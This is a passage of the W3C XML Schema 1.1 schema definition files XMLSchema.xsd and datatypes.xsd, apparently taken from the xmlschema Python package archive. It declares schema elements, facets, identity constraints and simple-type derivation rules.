value="##targetNamespace"/> <xs:enumeration value="##local"/> </xs:restriction> </xs:simpleType> </xs:union> </xs:simpleType> <xs:element name="attribute" type="xs:topLevelAttribute" id="attribute"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-attribute"/> </xs:annotation> </xs:element> <xs:complexType name="attributeGroup" abstract="true"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:attrDecls"/> <xs:attributeGroup ref="xs:defRef"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="namedAttributeGroup"> <xs:complexContent> <xs:restriction base="xs:attributeGroup"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:attrDecls"/> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required"/> <xs:attribute name="ref" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="attributeGroupRef"> <xs:complexContent> <xs:restriction base="xs:attributeGroup"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="ref" type="xs:QName" use="required"/> <xs:attribute name="name" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="attributeGroup" type="xs:namedAttributeGroup" id="attributeGroup"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-attributeGroup"/> </xs:annotation> </xs:element> <xs:element name="include" id="include"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-include"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="schemaLocation" type="xs:anyURI" use="required"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="redefine" id="redefine"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-redefine"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:openAttrs"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="xs:annotation"/> <xs:group ref="xs:redefinable"/> </xs:choice> <xs:attribute name="schemaLocation" type="xs:anyURI" use="required"/> <xs:attribute name="id" type="xs:ID"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="override" id="override"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-override"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:openAttrs"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:schemaTop" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="schemaLocation" type="xs:anyURI" use="required"/> <xs:attribute name="id" type="xs:ID"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="import" id="import"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-import"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="namespace" type="xs:anyURI"/> <xs:attribute name="schemaLocation" type="xs:anyURI"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="selector" id="selector"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-selector"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="xpath" use="required"> <xs:simpleType> <xs:annotation> <xs:documentation>A subset of XPath expressions for use in selectors</xs:documentation> <xs:documentation>A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:token"/> </xs:simpleType> </xs:attribute> <xs:attribute name="xpathDefaultNamespace" type="xs:xpathDefaultNamespace"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="field" id="field"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-field"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="xpath" use="required"> <xs:simpleType> <xs:annotation> <xs:documentation>A subset of XPath expressions for use in fields</xs:documentation> <xs:documentation>A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:token"/> </xs:simpleType> </xs:attribute> <xs:attribute name="xpathDefaultNamespace" type="xs:xpathDefaultNamespace"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:complexType name="keybase"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence minOccurs="0"> <xs:element ref="xs:selector"/> <xs:element ref="xs:field" minOccurs="1" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="name" type="xs:NCName"/> <xs:attribute name="ref" type="xs:QName"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:group name="identityConstraint"> <xs:annotation> <xs:documentation>The three kinds of identity constraints, all with type of or derived from 'keybase'. </xs:documentation> </xs:annotation> <xs:choice> <xs:element ref="xs:unique"/> <xs:element ref="xs:key"/> <xs:element ref="xs:keyref"/> </xs:choice> </xs:group> <xs:element name="unique" type="xs:keybase" id="unique"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-unique"/> </xs:annotation> </xs:element> <xs:element name="key" type="xs:keybase" id="key"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-key"/> </xs:annotation> </xs:element> <xs:element name="keyref" id="keyref"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-keyref"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:keybase"> <xs:attribute name="refer" type="xs:QName"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="notation" id="notation"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-notation"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="name" type="xs:NCName" use="required"/> <xs:attribute name="public" type="xs:public"/> <xs:attribute name="system" type="xs:anyURI"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:simpleType name="public"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> <xs:documentation> A public identifier, per ISO 8879</xs:documentation> </xs:annotation> <xs:restriction base="xs:token"/> </xs:simpleType> <xs:element name="appinfo" id="appinfo"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-appinfo"/> </xs:annotation> <xs:complexType mixed="true"> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:any processContents="lax"/> </xs:sequence> <xs:attribute name="source" type="xs:anyURI"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:complexType> </xs:element> <xs:element name="documentation" id="documentation"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-documentation"/> </xs:annotation> <xs:complexType mixed="true"> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:any processContents="lax"/> </xs:sequence> <xs:attribute name="source" type="xs:anyURI"/> <xs:attribute ref="xml:lang"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:complexType> </xs:element> <xs:element name="annotation" id="annotation"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-annotation"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:openAttrs"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="xs:appinfo"/> <xs:element ref="xs:documentation"/> </xs:choice> <xs:attribute name="id" type="xs:ID"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> notations for use within schema documents</xs:documentation> </xs:annotation> <xs:notation name="XMLSchemaStructures" public="structures" system="http://www.w3.org/2000/08/XMLSchema.xsd"/> <xs:notation name="XML" public="REC-xml-19980210" system="http://www.w3.org/TR/1998/REC-xml-19980210"/> <xs:complexType name="anyType" mixed="true"> <xs:annotation> <xs:documentation> Not the real urType, but as close an approximation as we can get in the XML representation</xs:documentation> </xs:annotation> <xs:sequence> <xs:any minOccurs="0" maxOccurs="unbounded" processContents="lax"/> </xs:sequence> <xs:anyAttribute processContents="lax"/> </xs:complexType> <xs:annotation> <xs:documentation> In keeping with the XML Schema WG's standard versioning policy, the material in this schema document will persist at the URI http://www.w3.org/2012/04/XMLSchema.xsd. At the date of issue it can also be found at the URI http://www.w3.org/2009/XMLSchema/XMLSchema.xsd. The schema document at that URI may however change in the future, in order to remain compatible with the latest version of XSD and its namespace. In other words, if XSD or the XML Schema namespace change, the version of this document at http://www.w3.org/2009/XMLSchema/XMLSchema.xsd will change accordingly; the version at http://www.w3.org/2012/04/XMLSchema.xsd will not change. Previous dated (and unchanging) versions of this schema document include: http://www.w3.org/2012/01/XMLSchema.xsd (XSD 1.1 Proposed Recommendation) http://www.w3.org/2011/07/XMLSchema.xsd (XSD 1.1 Candidate Recommendation) http://www.w3.org/2009/04/XMLSchema.xsd (XSD 1.1 Candidate Recommendation) http://www.w3.org/2004/10/XMLSchema.xsd (XSD 1.0 Recommendation, Second Edition) http://www.w3.org/2001/05/XMLSchema.xsd (XSD 1.0 Recommendation, First Edition) </xs:documentation> </xs:annotation> <xs:simpleType name="derivationControl"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="substitution"/> <xs:enumeration value="extension"/> <xs:enumeration value="restriction"/> <xs:enumeration value="list"/> <xs:enumeration value="union"/> </xs:restriction> </xs:simpleType> <xs:group name="simpleDerivation"> <xs:choice> <xs:element ref="xs:restriction"/> <xs:element ref="xs:list"/> <xs:element ref="xs:union"/> </xs:choice> </xs:group> <xs:simpleType name="simpleDerivationSet"> <xs:annotation> <xs:documentation> #all or (possibly empty) subset of {restriction, extension, union, list} </xs:documentation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:union> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="#all"/> </xs:restriction> </xs:simpleType> <xs:simpleType> <xs:list> <xs:simpleType> <xs:restriction base="xs:derivationControl"> <xs:enumeration value="list"/> <xs:enumeration value="union"/> <xs:enumeration value="restriction"/> <xs:enumeration value="extension"/> </xs:restriction> </xs:simpleType> </xs:list> </xs:simpleType> </xs:union> </xs:simpleType> <xs:complexType name="simpleType" abstract="true"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:simpleDerivation"/> <xs:attribute name="final" type="xs:simpleDerivationSet"/> <xs:attribute name="name" type="xs:NCName"> <xs:annotation> <xs:documentation> Can be restricted to required or forbidden </xs:documentation> </xs:annotation> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="topLevelSimpleType"> <xs:complexContent> <xs:restriction base="xs:simpleType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:simpleDerivation"/> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required"> <xs:annotation> <xs:documentation> Required at the top level </xs:documentation> </xs:annotation> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="localSimpleType"> <xs:complexContent> <xs:restriction base="xs:simpleType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:simpleDerivation"/> </xs:sequence> <xs:attribute name="name" use="prohibited"> <xs:annotation> <xs:documentation> Forbidden when nested </xs:documentation> </xs:annotation> </xs:attribute> <xs:attribute name="final" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="simpleType" type="xs:topLevelSimpleType" id="simpleType"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-simpleType"/> </xs:annotation> </xs:element> <xs:element name="facet" abstract="true"> <xs:annotation> <xs:documentation> An abstract element, representing facets in general. The facets defined by this spec are substitutable for this element, and implementation-defined facets should also name this as a substitution-group head. </xs:documentation> </xs:annotation> </xs:element> <xs:group name="simpleRestrictionModel"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="xs:facet"/> <xs:any processContents="lax" namespace="##other"/> </xs:choice> </xs:sequence> </xs:group> <xs:element name="restriction" id="restriction"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-restriction"> base attribute and simpleType child are mutually exclusive, but one or other is required </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:simpleRestrictionModel"/> <xs:attribute name="base" type="xs:QName" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="list" id="list"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-list"> itemType attribute and simpleType child are mutually exclusive, but one or other is required </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> </xs:sequence> <xs:attribute name="itemType" type="xs:QName" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="union" id="union"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-union"> memberTypes attribute must be non-empty or there must be at least one simpleType child </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="memberTypes" use="optional"> <xs:simpleType> <xs:list itemType="xs:QName"/> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:complexType name="facet"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="value" use="required"/> <xs:attribute name="fixed" type="xs:boolean" default="false" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="noFixedFacet"> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="fixed" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="minExclusive" type="xs:facet" id="minExclusive" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-minExclusive"/> </xs:annotation> </xs:element> <xs:element name="minInclusive" type="xs:facet" id="minInclusive" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-minInclusive"/> </xs:annotation> </xs:element> <xs:element name="maxExclusive" type="xs:facet" id="maxExclusive" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-maxExclusive"/> </xs:annotation> </xs:element> <xs:element name="maxInclusive" type="xs:facet" id="maxInclusive" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-maxInclusive"/> </xs:annotation> </xs:element> <xs:complexType name="numFacet"> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:nonNegativeInteger" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="intFacet"> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:integer" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="totalDigits" id="totalDigits" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-totalDigits"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:numFacet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:positiveInteger" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="fractionDigits" type="xs:numFacet" id="fractionDigits" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-fractionDigits"/> </xs:annotation> </xs:element> <xs:element name="length" type="xs:numFacet" id="length" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-length"/> </xs:annotation> </xs:element> <xs:element name="minLength" type="xs:numFacet" id="minLength" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-minLength"/> </xs:annotation> </xs:element> <xs:element name="maxLength" type="xs:numFacet" id="maxLength" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-maxLength"/> </xs:annotation> </xs:element> <xs:element name="enumeration" type="xs:noFixedFacet" id="enumeration" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-enumeration"/> </xs:annotation> </xs:element> <xs:element name="whiteSpace" id="whiteSpace" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-whiteSpace"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" use="required"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="preserve"/> <xs:enumeration value="replace"/> <xs:enumeration value="collapse"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="pattern" id="pattern" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-pattern"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:noFixedFacet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:string" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="assertion" type="xs:assertion" id="assertion" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-assertion"/> </xs:annotation> </xs:element> <xs:element name="explicitTimezone" id="explicitTimezone" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-explicitTimezone"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" use="required"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="optional"/> <xs:enumeration value="required"/> <xs:enumeration value="prohibited"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> In keeping with the XML Schema WG's standard versioning policy, this schema document will persist at the URI http://www.w3.org/2012/04/datatypes.xsd. At the date of issue it can also be found at the URI http://www.w3.org/2009/XMLSchema/datatypes.xsd. The schema document at that URI may however change in the future, in order to remain compatible with the latest version of XSD and its namespace. In other words, if XSD or the XML Schema namespace change, the version of this document at http://www.w3.org/2009/XMLSchema/datatypes.xsd will change accordingly; the version at http://www.w3.org/2012/04/datatypes.xsd will not change. Previous dated (and unchanging) versions of this schema document include: http://www.w3.org/2012/01/datatypes.xsd (XSD 1.1 Proposed Recommendation) http://www.w3.org/2011/07/datatypes.xsd (XSD 1.1 Candidate Recommendation) http://www.w3.org/2009/04/datatypes.xsd (XSD 1.1 Candidate Recommendation) http://www.w3.org/2004/10/datatypes.xsd (XSD 1.0 Recommendation, Second Edition) http://www.w3.org/2001/05/datatypes.xsd (XSD 1.0 Recommendation, First Edition) </xs:documentation> </xs:annotation> </xs:schema>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XSD_1.1/datatypes.xsd���������������������������������������������0000664�0000000�0000000�00000042131�15020401055�0022625�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0'?> <!DOCTYPE xs:schema PUBLIC "-//W3C//DTD XSD 1.1//EN" "XMLSchema.dtd" [ <!-- Make sure that processors that do not read the external subset will know about the various IDs we declare --> <!ATTLIST xs:simpleType id ID #IMPLIED> <!ATTLIST xs:maxExclusive id ID #IMPLIED> <!ATTLIST xs:minExclusive id ID #IMPLIED> <!ATTLIST xs:maxInclusive id ID #IMPLIED> <!ATTLIST xs:minInclusive id ID #IMPLIED> <!ATTLIST xs:totalDigits id ID #IMPLIED> <!ATTLIST xs:fractionDigits id ID #IMPLIED> <!ATTLIST xs:length id ID #IMPLIED> <!ATTLIST xs:minLength id ID #IMPLIED> <!ATTLIST xs:maxLength id ID #IMPLIED> <!ATTLIST xs:enumeration id ID #IMPLIED> <!ATTLIST xs:pattern id ID #IMPLIED> <!ATTLIST xs:assertion id ID #IMPLIED> <!ATTLIST xs:explicitTimezone id ID #IMPLIED> <!ATTLIST xs:appinfo id ID #IMPLIED> <!ATTLIST xs:documentation id ID #IMPLIED> <!ATTLIST xs:list id ID #IMPLIED> <!ATTLIST xs:union id ID #IMPLIED> ]> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" xml:lang="en" targetNamespace="http://www.w3.org/2001/XMLSchema" version="datatypes.xsd (rec-20120405)"> <xs:annotation> <xs:documentation source="../datatypes/datatypes.html"> The schema corresponding to this document is normative, with respect to the syntactic constraints it expresses in the XML Schema language. The documentation (within 'documentation' elements) below, is not normative, but rather highlights important aspects of the W3C Recommendation of which this is a part. See below (at the bottom of this document) for information about the revision and namespace-versioning policy governing this schema document. </xs:documentation> </xs:annotation> <xs:simpleType name="derivationControl"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="substitution"/> <xs:enumeration value="extension"/> <xs:enumeration value="restriction"/> <xs:enumeration value="list"/> <xs:enumeration value="union"/> </xs:restriction> </xs:simpleType> <xs:group name="simpleDerivation"> <xs:choice> <xs:element ref="xs:restriction"/> <xs:element ref="xs:list"/> <xs:element ref="xs:union"/> </xs:choice> </xs:group> <xs:simpleType name="simpleDerivationSet"> <xs:annotation> <xs:documentation> #all or (possibly empty) subset of {restriction, extension, union, list} </xs:documentation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:union> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="#all"/> </xs:restriction> </xs:simpleType> <xs:simpleType> <xs:list> <xs:simpleType> <xs:restriction base="xs:derivationControl"> <xs:enumeration value="list"/> <xs:enumeration value="union"/> <xs:enumeration value="restriction"/> <xs:enumeration value="extension"/> </xs:restriction> </xs:simpleType> </xs:list> </xs:simpleType> </xs:union> </xs:simpleType> <xs:complexType name="simpleType" abstract="true"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:simpleDerivation"/> <xs:attribute name="final" type="xs:simpleDerivationSet"/> <xs:attribute name="name" type="xs:NCName"> <xs:annotation> <xs:documentation> Can be restricted to required or forbidden </xs:documentation> </xs:annotation> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="topLevelSimpleType"> <xs:complexContent> <xs:restriction base="xs:simpleType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:simpleDerivation"/> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required"> <xs:annotation> <xs:documentation> Required at the top level </xs:documentation> </xs:annotation> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="localSimpleType"> <xs:complexContent> <xs:restriction base="xs:simpleType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:simpleDerivation"/> </xs:sequence> <xs:attribute name="name" use="prohibited"> <xs:annotation> <xs:documentation> Forbidden when nested </xs:documentation> </xs:annotation> </xs:attribute> <xs:attribute name="final" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="simpleType" type="xs:topLevelSimpleType" id="simpleType"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-simpleType"/> </xs:annotation> </xs:element> <xs:element name="facet" abstract="true"> <xs:annotation> <xs:documentation> An abstract element, representing facets in general. The facets defined by this spec are substitutable for this element, and implementation-defined facets should also name this as a substitution-group head. </xs:documentation> </xs:annotation> </xs:element> <xs:group name="simpleRestrictionModel"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="xs:facet"/> <xs:any processContents="lax" namespace="##other"/> </xs:choice> </xs:sequence> </xs:group> <xs:element name="restriction" id="restriction"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-restriction"> base attribute and simpleType child are mutually exclusive, but one or other is required </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:simpleRestrictionModel"/> <xs:attribute name="base" type="xs:QName" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="list" id="list"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-list"> itemType attribute and simpleType child are mutually exclusive, but one or other is required </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> </xs:sequence> <xs:attribute name="itemType" type="xs:QName" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="union" id="union"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-union"> memberTypes attribute must be non-empty or there must be at least one simpleType child </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="memberTypes" use="optional"> <xs:simpleType> <xs:list itemType="xs:QName"/> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:complexType name="facet"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="value" use="required"/> <xs:attribute name="fixed" type="xs:boolean" default="false" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="noFixedFacet"> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="fixed" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="minExclusive" type="xs:facet" id="minExclusive" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-minExclusive"/> </xs:annotation> </xs:element> <xs:element name="minInclusive" type="xs:facet" id="minInclusive" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-minInclusive"/> </xs:annotation> </xs:element> <xs:element name="maxExclusive" type="xs:facet" id="maxExclusive" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-maxExclusive"/> </xs:annotation> </xs:element> <xs:element name="maxInclusive" type="xs:facet" id="maxInclusive" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-maxInclusive"/> </xs:annotation> </xs:element> <xs:complexType name="numFacet"> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:nonNegativeInteger" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="intFacet"> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:integer" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="totalDigits" id="totalDigits" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-totalDigits"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:numFacet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:positiveInteger" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="fractionDigits" type="xs:numFacet" id="fractionDigits" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-fractionDigits"/> </xs:annotation> </xs:element> <xs:element name="length" type="xs:numFacet" id="length" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-length"/> </xs:annotation> 